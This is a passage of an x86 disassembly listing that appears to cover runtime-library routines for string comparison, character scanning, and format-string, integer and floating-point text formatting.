eax or ecx, ecx jz short loc_40462E repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_404609: ; CODE XREF: sub_4045F0+3Cj repe cmpsb jz short loc_40462E mov al, [esi-1] cmp al, 61h jb short loc_40461A cmp al, 7Ah ja short loc_40461A sub al, 20h loc_40461A: ; CODE XREF: sub_4045F0+22j ; sub_4045F0+26j mov dl, [edi-1] cmp dl, 61h jb short loc_40462A cmp dl, 7Ah ja short loc_40462A sub dl, 20h loc_40462A: ; CODE XREF: sub_4045F0+30j ; sub_4045F0+35j sub eax, edx jz short loc_404609 loc_40462E: ; CODE XREF: sub_4045F0+Dj ; sub_4045F0+1Bj pop ebx pop esi pop edi retn sub_4045F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404634 proc near ; CODE XREF: sub_404498+2Ap ; sub_406224+Bp ... push edi push eax mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx pop edi mov al, dl repne scasb mov eax, 0 jnz short loc_404652 mov eax, edi dec eax loc_404652: ; CODE XREF: sub_404634+19j pop edi retn sub_404634 endp ; =============== S U B R O U T I N E ======================================= sub_404654 proc near ; CODE XREF: sub_4047F6+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_40466A mov ebx, 1Fh loc_40466A: ; CODE XREF: sub_404654+Fj mov edx, ebx dec edx mov eax, esi call sub_406188 cmp al, 1 jnz short loc_404679 dec ebx loc_404679: ; CODE XREF: sub_404654+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_4045AC mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_4090F8[edi*4] xor ecx, ecx call sub_4043CC add esp, 28h pop edi pop esi pop ebx retn sub_404654 endp ; =============== S U B R O U T I N E ======================================= sub_4046AC proc near ; CODE XREF: sub_4047F6+1B2p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx mov edx, esi call sub_402DA8 pop esi pop ebx retn sub_4046AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4046C0 proc near ; CODE XREF: sub_4046CC+D3p push ebx mov ebx, eax mov eax, ebx call sub_4025C8 pop ebx retn sub_4046C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046CC proc near ; CODE XREF: sub_404AE0+2Ap ; sub_404B34+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00404AD0 SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF8Ch push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_4046F5: ; CODE XREF: sub_4046CC+DDj or edx, edx jz short loc_404706 loc_4046F9: ; CODE XREF: sub_4046CC+38j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404710 loc_404702: ; CODE XREF: sub_4046CC+4Bj stosb dec edx jnz short loc_4046F9 loc_404706: ; CODE XREF: sub_4046CC+2Bj ; sub_4046CC+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_404AD0 ; --------------------------------------------------------------------------- loc_404710: ; CODE XREF: sub_4046CC+34j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404702 lea ebx, [esi-2] mov [ebp+var_18], ebx loc_40471F: ; CODE XREF: sub_4046CC+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_40472B cmp esi, ecx jz short loc_404706 lodsb loc_40472B: ; CODE XREF: sub_4046CC+58j call sub_4047AE cmp al, 3Ah jnz short loc_40473E mov [ebp+var_C], ebx cmp esi, ecx jz short loc_404706 lodsb jmp short loc_40471F ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_4046CC+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_404754 cmp esi, ecx jz short loc_404706 lodsb call sub_4047AE loc_404754: ; CODE XREF: sub_4046CC+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_4047F6 pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_40476B xor ebx, ebx loc_40476B: ; CODE XREF: sub_4046CC+9Bj cmp [ebp+var_19], 2Dh jnz short loc_40477B sub edx, ecx jnb short loc_404779 add ecx, edx xor edx, edx loc_404779: ; CODE XREF: sub_4046CC+A7j rep movsb loc_40477B: ; CODE XREF: sub_4046CC+A3j xchg ebx, ecx sub edx, ecx jnb short loc_404785 add ecx, edx xor edx, edx loc_404785: ; CODE XREF: sub_4046CC+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_404793 add ecx, edx xor edx, edx loc_404793: ; CODE XREF: sub_4046CC+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_4047A5 push edx lea eax, [ebp+var_10] call sub_4046C0 pop edx loc_4047A5: ; CODE XREF: sub_4046CC+CDj pop ecx mov esi, [ebp+var_28] jmp loc_4046F5 sub_4046CC endp ; =============== S U B R O U T I N E ======================================= sub_4047AE proc near ; CODE XREF: sub_4046CC:loc_40472Bp ; sub_4046CC+83p xor ebx, ebx cmp al, 2Ah jz short loc_4047D6 loc_4047B4: ; CODE XREF: sub_4047AE+20j cmp al, 30h jb short locret_4047F5 cmp al, 39h ja short locret_4047F5 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_4047D0 lodsb jmp short loc_4047B4 ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_4047AE+1Dj ; sub_4047AE+44j pop eax jmp loc_404706 ; --------------------------------------------------------------------------- loc_4047D6: ; CODE XREF: sub_4047AE+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] ja short loc_4047F0 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_4047F0 xor ebx, ebx loc_4047F0: ; CODE XREF: sub_4047AE+2Ej ; sub_4047AE+3Ej cmp esi, ecx jz short loc_4047D0 lodsb locret_4047F5: ; CODE XREF: sub_4047AE+8j ; sub_4047AE+Cj retn sub_4047AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4047F6 proc near ; CODE XREF: sub_4046CC+90p ; FUNCTION CHUNK AT 0040491E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00404985 SIZE 0000013B BYTES and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] ja short loc_404863 inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_40481D[edx*4] ; --------------------------------------------------------------------------- off_40481D dd offset loc_40491E ; DATA XREF: sub_4047F6+20r dd offset loc_404861 dd offset loc_404985 dd offset loc_404A4B dd offset loc_4049B5 dd offset loc_404A2D dd offset loc_404A0D dd offset loc_404861 dd offset loc_404861 dd offset loc_404861 dd offset loc_4049C6 dd offset loc_4049F1 dd offset loc_404A47 dd offset loc_404994 dd offset loc_404861 dd offset loc_4049CD dd offset loc_404878 ; --------------------------------------------------------------------------- loc_404861: ; CODE XREF: sub_4047F6+20j ; sub_4047F6+9Cj ... xor eax, eax loc_404863: ; CODE XREF: sub_4047F6+Fj call sub_404AC0 mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_404654 loc_404878: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+67o lea ebx, [ebp-30h] mov edx, [eax] mov [ebx], edx mov edx, [eax+4] mov [ebx+4], edx cmp cl, 44h jz short loc_40489B cmp cl, 55h jz short sub_4048B9 cmp cl, 58h jnz short loc_404861 mov ecx, 10h jmp short loc_4048BE ; --------------------------------------------------------------------------- loc_40489B: ; CODE XREF: sub_4047F6+92j test dword ptr [ebx+4], 80000000h jz short sub_4048B9 neg dword ptr [ebx] adc dword ptr [ebx+4], 0 neg dword ptr [ebx+4] call sub_4048B9 mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_4047F6 endp ; =============== S U B R O U T I N E ======================================= sub_4048B9 proc near ; CODE XREF: sub_4047F6+97j ; sub_4047F6+ACj ... mov ecx, 0Ah loc_4048BE: ; CODE XREF: sub_4047F6+A3j lea esi, [ebp-51h] loc_4048C1: ; CODE XREF: sub_4048B9+46j push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402E30 pop ecx pop ebx xchg eax, edx add dl, 30h cmp dl, 3Ah jb short loc_4048E1 add dl, 7 loc_4048E1: ; CODE XREF: sub_4048B9+23j dec esi mov [esi], dl push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402DE4 pop ecx pop ebx mov [ebx], eax mov [ebx+4], edx or eax, edx jnz short loc_4048C1 lea ecx, [ebp-51h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_40490F retn ; --------------------------------------------------------------------------- loc_40490F: ; CODE XREF: sub_4048B9+53j sub edx, ecx jbe short locret_40491D add ecx, edx mov al, 30h loc_404917: ; CODE XREF: sub_4048B9+62j dec esi mov [esi], al dec edx jnz short loc_404917 locret_40491D: ; CODE XREF: sub_4048B9+58j retn sub_4048B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_40491E: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6:off_40481Do cmp cl, 44h jz short loc_404938 cmp cl, 55h jz short sub_40494A cmp cl, 58h jnz loc_404861 mov ecx, 10h jmp short loc_40494F ; --------------------------------------------------------------------------- loc_404938: ; CODE XREF: sub_4047F6+12Bj or eax, eax jns short sub_40494A neg eax call sub_40494A mov al, 2Dh inc ecx dec esi mov [esi], al retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_40494A proc near ; CODE XREF: sub_4047F6+130j ; sub_4047F6+144j ... mov ecx, 0Ah loc_40494F: ; CODE XREF: sub_4047F6+140j ; sub_4047F6+24Cj lea esi, [ebp-61h] loc_404952: ; CODE XREF: sub_40494A+1Cj xor edx, edx div ecx add dl, 30h cmp dl, 3Ah jb short loc_404961 add dl, 7 loc_404961: ; CODE XREF: sub_40494A+12j dec esi mov [esi], dl or eax, eax jnz short loc_404952 lea ecx, [ebp-61h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_404976 retn ; --------------------------------------------------------------------------- loc_404976: ; CODE XREF: sub_40494A+29j sub edx, ecx jbe short locret_404984 add ecx, edx mov al, 30h loc_40497E: ; CODE XREF: sub_40494A+38j dec esi mov [esi], al dec edx jnz short loc_40497E locret_404984: ; CODE XREF: sub_40494A+2Ej retn sub_40494A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_404985: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+2Fo cmp cl, 53h jnz loc_404861 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_404994: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+5Bo cmp cl, 53h jnz loc_404861 cmp word ptr [eax], 1 jbe short loc_4049B2 mov edx, eax lea eax, [ebp-10h] call sub_4046AC mov esi, [ebp-10h] jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049B2: ; CODE XREF: sub_4047F6+1ABj ; sub_4047F6+208j xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_4049B5: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+37o cmp cl, 53h jnz loc_404861 mov esi, eax lodsb movzx ecx, al jmp short loc_404A03 ; --------------------------------------------------------------------------- loc_4049C6: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+4Fo mov esi, offset loc_4027CC jmp short loc_4049D2 ; --------------------------------------------------------------------------- loc_4049CD: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+63o mov esi, offset loc_40282C loc_4049D2: ; CODE XREF: sub_4047F6+1D5j add esi, [ebp-4] cmp cl, 53h jnz loc_404861 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049F1: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+53o cmp cl, 53h jnz loc_404861 mov esi, eax loc_4049FC: ; CODE XREF: sub_4047F6+1BAj ; sub_4047F6+1F9j or esi, esi jz short loc_4049B2 mov ecx, [esi-4] loc_404A03: ; CODE XREF: sub_4047F6+1CEj cmp ecx, [ebp-24h] ja short loc_404A09 retn ; --------------------------------------------------------------------------- loc_404A09: ; CODE XREF: sub_4047F6+210j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_404A0D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Fo cmp cl, 53h jnz loc_404861 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_404A27 repne scasb jnz short loc_404A27 dec edi loc_404A27: ; CODE XREF: sub_4047F6+22Aj ; sub_4047F6+22Ej mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_404A2D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Bo cmp cl, 50h jnz loc_404861 mov dword ptr [ebp-24h], 8 mov ecx, 10h jmp loc_40494F ; --------------------------------------------------------------------------- loc_404A47: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+57o mov bh, 1 jmp short loc_404A4D ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+33o mov bh, 0 loc_404A4D: ; CODE XREF: sub_4047F6+253j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_404A95 mov bl, 1 cmp cl, 45h jz short loc_404A95 mov bl, 2 cmp cl, 46h jz short loc_404A76 mov bl, 3 cmp cl, 4Eh jz short loc_404A76 cmp cl, 4Dh jnz loc_404861 mov bl, 4 loc_404A76: ; CODE XREF: sub_4047F6+26Cj ; sub_4047F6+273j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_404AA7 mov edx, 2 cmp cl, 4Dh jnz short loc_404AA7 movzx edx, ds:byte_40A6B8 jmp short loc_404AA7 ; --------------------------------------------------------------------------- loc_404A95: ; CODE XREF: sub_4047F6+25Ej ; sub_4047F6+265j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_404AA7 mov eax, 0Fh loc_404AA7: ; CODE XREF: sub_4047F6+28Aj ; sub_4047F6+294j ... push ebx push eax push edx lea eax, [ebp-71h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_404C38 mov ecx, eax lea esi, [ebp-71h] retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_404AC0 proc near ; CODE XREF: sub_4047F6:loc_404863p ; sub_4046CC:loc_404AD0p push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_4025C8 pop eax pop ebx retn sub_404AC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4046CC loc_404AD0: ; CODE XREF: sub_4046CC+3Fj call sub_404AC0 pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4046CC ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AE0 proc near ; CODE XREF: CODE:00405811p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_404B17 test esi, esi jz short loc_404B17 mov eax, esi call sub_404594 push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_4046CC mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_404B19 ; --------------------------------------------------------------------------- loc_404B17: ; CODE XREF: sub_404AE0+Ej ; sub_404AE0+12j xor eax, eax loc_404B19: ; CODE XREF: sub_404AE0+35j pop edi pop esi pop ebx pop ebp retn 8 sub_404AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B20 proc near ; CODE XREF: sub_405924+34p ; sub_4059E0+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_404B34 pop ebp retn 4 sub_404B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B34 proc near ; CODE XREF: sub_404B20+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_402840 cmp eax, 0C00h jge short loc_404B85 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_4046CC jmp short loc_404B91 ; --------------------------------------------------------------------------- loc_404B85: ; CODE XREF: sub_404B34+29j mov eax, [ebp+var_4] call sub_402840 mov ebx, eax mov eax, ebx loc_404B91: ; CODE XREF: sub_404B34+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_404BDB jmp short loc_404BCA ; --------------------------------------------------------------------------- loc_404B9A: ; CODE XREF: sub_404B34+9Bj add ebx, ebx mov eax, esi call sub_4025C8 mov eax, esi mov edx, ebx call sub_402BC0 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_4046CC loc_404BCA: ; CODE XREF: sub_404B34+64j mov edx, ebx dec edx cmp eax, edx jge short loc_404B9A mov edx, esi xchg eax, edx call sub_402BC0 jmp short loc_404BE9 ; --------------------------------------------------------------------------- loc_404BDB: ; CODE XREF: sub_404B34+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_4026B4 loc_404BE9: ; CODE XREF: sub_404B34+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_404B34 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404BF4 proc near ; CODE XREF: sub_404D41+8Fp push esi xor esi, esi stosb or bl, bl jnz short loc_404C00 xor edx, edx jmp short loc_404C0A ; --------------------------------------------------------------------------- loc_404C00: ; CODE XREF: sub_404BF4+6j or edx, edx jge short loc_404C0A mov al, 2Dh neg edx jmp short loc_404C10 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BF4+Aj ; sub_404BF4+Ej or ah, ah jz short loc_404C11 mov al, ah loc_404C10: ; CODE XREF: sub_404BF4+14j stosb loc_404C11: ; CODE XREF: sub_404BF4+18j xchg eax, edx push eax mov ebx, esp loc_404C15: ; CODE XREF: sub_404BF4+32j ; sub_404BF4+36j xor edx, edx div ds:flt_40910C[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_404C15 or ecx, ecx jg short loc_404C15 loc_404C2C: ; CODE XREF: sub_404BF4+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_404C2C pop eax pop esi retn sub_404BF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C38 proc near ; CODE XREF: sub_4047F6+2BFp var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 00404F07 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_40A6B7 mov [ebp+var_5], al mov al, ds:byte_40A6B6 mov [ebp+var_6], al mov eax, ds:dword_40A6B0 mov [ebp+var_C], eax mov al, ds:byte_40A6B4 mov [ebp+var_D], al mov al, ds:byte_40A6B5 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_404C94 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_404C8A mov eax, 2 loc_404C8A: ; CODE XREF: sub_404C38+4Bj cmp eax, 12h jle short loc_404C94 mov eax, 12h loc_404C94: ; CODE XREF: sub_404C38+43j ; sub_404C38+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_404CA6 mov eax, [ebp+arg_0] loc_404CA6: ; CODE XREF: sub_404C38+69j push eax lea eax, [ebp+var_2C] call sub_404F10 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_404CDA mov ecx, eax call sub_404D37 lea esi, dword_404D28[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_404D07 ; --------------------------------------------------------------------------- loc_404CDA: ; CODE XREF: sub_404C38+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_404CF6 cmp bl, 4 ja short loc_404CF4 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_404CF6 loc_404CF4: ; CODE XREF: sub_404C38+B1j mov bl, 0 loc_404CF6: ; CODE XREF: sub_404C38+ACj ; sub_404C38+BAj lea ebx, off_404D14[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_404D07: ; CODE XREF: sub_404C38+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_404F07 sub_404C38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_404D14 dd offset sub_404D41 ; DATA XREF: sub_404C38:loc_404CF6o dd offset loc_404D9F dd offset sub_404DD6 dd offset sub_404DD6 dd offset sub_404E40 dword_404D28 dd 4E464E49h ; DATA XREF: sub_404C38+8Fr ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_404D2E proc near ; CODE XREF: sub_404D41+63p ; sub_404D41:loc_404DB2p ... lodsb or al, al jnz short locret_404D36 mov al, 30h dec esi locret_404D36: ; CODE XREF: sub_404D2E+3j retn sub_404D2E endp ; =============== S U B R O U T I N E ======================================= sub_404D37 proc near ; CODE XREF: sub_404C38+8Ap ; sub_404D41p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_404D40 mov al, 2Dh stosb locret_404D40: ; CODE XREF: sub_404D37+4j retn sub_404D37 endp ; =============== S U B R O U T I N E ======================================= sub_404D41 proc near ; DATA XREF: CODE:off_404D14o call sub_404D37 movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_404D6E cmp ecx, 0FFFFFFFDh jl short loc_404D6E or ecx, ecx jg short loc_404D74 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_404D9E mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D6E: ; CODE XREF: sub_404D41+Ej ; sub_404D41+13j mov ecx, 1 inc edx loc_404D74: ; CODE XREF: sub_404D41+17j ; sub_404D41+39j lodsb or al, al jz short loc_404D90 stosb loop loc_404D74 lodsb or al, al jz short loc_404D94 mov ah, al mov al, [ebp-5] stosw loc_404D88: ; CODE XREF: sub_404D41+2Bj ; sub_404D41+4Dj lodsb or al, al jz short loc_404D94 stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D90: ; CODE XREF: sub_404D41+36j mov al, 30h rep stosb loc_404D94: ; CODE XREF: sub_404D41+3Ej ; sub_404D41+4Aj or edx, edx jz short locret_404D9E xor eax, eax xor ecx, ecx jmp short loc_404DC6 ; --------------------------------------------------------------------------- locret_404D9E: ; CODE XREF: sub_404D41+1Fj ; sub_404D41+55j retn ; --------------------------------------------------------------------------- loc_404D9F: ; DATA XREF: CODE:00404D18o call sub_404D37 call sub_404D2E mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_404DB2: ; CODE XREF: sub_404D41+77j call sub_404D2E stosb loop loc_404DB2 mov ah, 2Bh mov ecx, [ebp+8] cmp ecx, 4 jb short loc_404DC6 xor ecx, ecx loc_404DC6: ; CODE XREF: sub_404D41+5Bj ; sub_404D41+81j mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_404BF4 retn sub_404D41 endp ; =============== S U B R O U T I N E ======================================= sub_404DD6 proc near ; DATA XREF: CODE:00404D1Co ; CODE:00404D20o call sub_404D37 loc_404DDB: ; CODE XREF: sub_404E40:loc_404E89p mov edx, [ebp+8] cmp edx, 12h jb short loc_404DE8 mov edx, 12h loc_404DE8: ; CODE XREF: sub_404DD6+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_404DF5 mov al, 30h stosb jmp short loc_404E1F ; --------------------------------------------------------------------------- loc_404DF5: ; CODE XREF: sub_404DD6+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_404E07 mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_404E07: ; CODE XREF: sub_404DD6+25j ; sub_404DD6+3Bj ... call sub_404D2E stosb dec ecx jz short loc_404E1F dec ebx jnz short loc_404E07 mov al, [ebp-6] test al, al jz short loc_404E07 stosb mov bl, 3 jmp short loc_404E07 ; --------------------------------------------------------------------------- loc_404E1F: ; CODE XREF: sub_404DD6+1Dj ; sub_404DD6+38j or edx, edx jz short locret_404E3F mov al, [ebp-5] test al, al jz short loc_404E2B stosb loc_404E2B: ; CODE XREF: sub_404DD6+52j jecxz short loc_404E36 mov al, 30h loc_404E2F: ; CODE XREF: sub_404DD6+5Ej stosb dec edx jz short locret_404E3F inc ecx jnz short loc_404E2F loc_404E36: ; CODE XREF: sub_404DD6:loc_404E2Bj ; sub_404DD6+67j call sub_404D2E stosb dec edx jnz short loc_404E36 locret_404E3F: ; CODE XREF: sub_404DD6+4Bj ; sub_404DD6+5Bj retn sub_404DD6 endp ; =============== S U B R O U T I N E ======================================= sub_404E40 proc near ; DATA XREF: CODE:00404D24o xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_404E58 mov bl, [ebp-0Eh] mov ecx, 40Fh loc_404E58: ; CODE XREF: sub_404E40+Ej cmp bl, cl jbe short loc_404E5E mov bl, cl loc_404E5E: ; CODE XREF: sub_404E40+1Aj add bl, ch lea ebx, dword_404EA3[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_404E6F: ; CODE XREF: sub_404E40+51j mov al, [ebx] cmp al, 40h jz short locret_404E93 push ecx push ebx cmp al, 24h jz short loc_404E82 cmp al, 2Ah jz short loc_404E89 stosb jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E82: ; CODE XREF: sub_404E40+39j call sub_404E94 jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E89: ; CODE XREF: sub_404E40+3Dj call loc_404DDB loc_404E8E: ; CODE XREF: sub_404E40+40j ; sub_404E40+47j pop ebx pop ecx inc ebx loop loc_404E6F locret_404E93: ; CODE XREF: sub_404E40+33j retn sub_404E40 endp ; =============== S U B R O U T I N E ======================================= sub_404E94 proc near ; CODE XREF: sub_404E40:loc_404E82p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_404EA1 mov ecx, [esi-4] rep movsb loc_404EA1: ; CODE XREF: sub_404E94+6j pop esi retn sub_404E94 endp ; --------------------------------------------------------------------------- dword_404EA3 dd 40402A24h ; DATA XREF: sub_404E40+20r ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_404C38 loc_404F07: ; CODE XREF: sub_404C38+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION 